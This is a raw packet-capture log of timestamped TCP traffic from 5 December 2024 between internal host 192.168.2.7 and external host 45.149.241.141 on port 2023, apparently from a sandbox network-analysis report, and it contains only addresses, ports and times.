Dec 5, 2024 10:39:48.736541986 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736577988 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736588955 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.736630917 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736639977 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:48.736670971 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.855931997 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856060982 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856133938 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856239080 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856435061 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856564999 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856658936 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856769085 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856857061 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.856987000 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857073069 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857083082 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857161045 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857460022 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857470036 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857480049 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857592106 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857601881 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857611895 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857623100 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857717991 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857733011 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857743025 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:48.857753992 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.339011908 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.361706018 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.361850977 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.361998081 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.481342077 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481400013 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.481573105 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481626034 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481666088 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481781960 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481792927 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481878996 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481889009 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.481916904 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.601041079 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.890453100 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:49.895014048 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.895078897 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.895220995 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.895369053 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:49.895386934 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:50.014653921 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.014868975 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.014911890 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.014991999 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015033960 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015044928 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015137911 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015182972 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015244007 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015275955 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015289068 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015404940 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015414953 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015487909 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.015506983 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.388046026 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:50.437562943 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:51.375195026 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:51.495964050 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:51.496026039 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:51.615802050 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:51.906269073 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:51.906444073 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:51.906444073 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:51.906586885 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:51.906646967 CET	49921	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:52.026251078 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:52.026318073 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:52.026329994 CET	2023	49921	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:56.907063961 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:57.026825905 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:57.026927948 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:57.027064085 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:57.146831036 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:58.281585932 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:58.281666040 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:58.281730890 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:58.290947914 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:58.412072897 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:58.704945087 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:58.705190897 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:58.824882984 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:59.165098906 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:59.167810917 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:59.287484884 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:59.287686110 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:59.407414913 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:59.944132090 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:59.946834087 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.048814058 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.048878908 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.066514969 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.066586018 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.186268091 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.480722904 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.484359026 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.484404087 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.484409094 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.484421015 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.484534025 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.484571934 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.492739916 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.492816925 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.492827892 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.500200987 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.500281096 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.500322104 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.508596897 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.508668900 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.508682013 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.513710976 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.513854027 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.514022112 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.522353888 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.522368908 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.522593975 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.676474094 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.676496983 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.676606894 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.680259943 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.680274010 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.680325985 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.687851906 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.687865019 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.687925100 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:00.695022106 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.695034981 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:00.695112944 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:02.746967077 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:02.867289066 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:02.867424965 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:02.987258911 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.283145905 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.285023928 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.285101891 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.285187006 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.290788889 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.290848017 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.292293072 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.292419910 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.292649031 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.299824953 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.299880028 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.299948931 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.304764032 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.304940939 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.305356979 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.312391043 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.312527895 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.312858105 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.319803953 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.319905043 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.320004940 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.327714920 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.327822924 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.327878952 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.334908962 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.335012913 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.335199118 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.342446089 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.342593908 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.342658043 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.349966049 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.350060940 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.350147963 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.357523918 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.357621908 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.357696056 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.365066051 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.365150928 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.365204096 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.372639894 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.372786045 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.373241901 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.380660057 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.380765915 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.380830050 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.387676001 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.387811899 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.387921095 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.395251036 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.395354986 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.395482063 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.476952076 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.477075100 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.477108002 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.479933023 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.481036901 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.481137037 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.481141090 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.486952066 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.487041950 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.488017082 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.488142014 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.488245010 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.493730068 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.493797064 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.493917942 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.499381065 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.499475002 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.499538898 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.504878998 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.504951000 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.505026102 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.510044098 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.510154963 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.510293961 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.515340090 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.515410900 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.515521049 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.520705938 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.520778894 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.520862103 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.525338888 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.525425911 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.525495052 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.530116081 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.530164957 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.530230045 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.534898996 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.535024881 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.535141945 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.539655924 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.539737940 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.539808989 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.544445038 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.544548988 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.544591904 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.549226999 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.549285889 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.549343109 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.553999901 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.554112911 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.554179907 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.558741093 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.558845043 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.558913946 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.563709021 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.563895941 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.563975096 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.568315983 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.568437099 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.568510056 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.573093891 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.573149920 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.573194027 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.577992916 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.578207970 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.578259945 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.582732916 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.582834959 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.582884073 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.652673960 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.772397041 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:03.772455931 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:03.892148018 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.187761068 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.187982082 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.188085079 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.188097000 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.190742016 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.190819025 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.191308022 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.191463947 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.191566944 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.194108009 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.194210052 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.194274902 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.195998907 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.196165085 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.196239948 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.198827982 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.198940039 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.199023962 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.201719046 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.201878071 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.201940060 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.204679966 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.204761982 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.204833031 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.207441092 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.207503080 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.207564116 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.210292101 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.210474014 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.210546970 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.213112116 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.213246107 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.213321924 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.215945005 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.216099977 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.216162920 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.218843937 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.218972921 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.219049931 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.221661091 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.221755981 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.221811056 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.224517107 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.224631071 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.224740982 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.227361917 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.227482080 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.227550983 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.230256081 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.230304956 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.230379105 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.233078957 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.233159065 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.233211040 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.235948086 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.236038923 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.236087084 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.238774061 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.238909006 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.238957882 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.241636992 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.241736889 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.241797924 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.244508028 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.244770050 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.244838953 CET	49952	2023	192.168.2.7	45.149.241.141
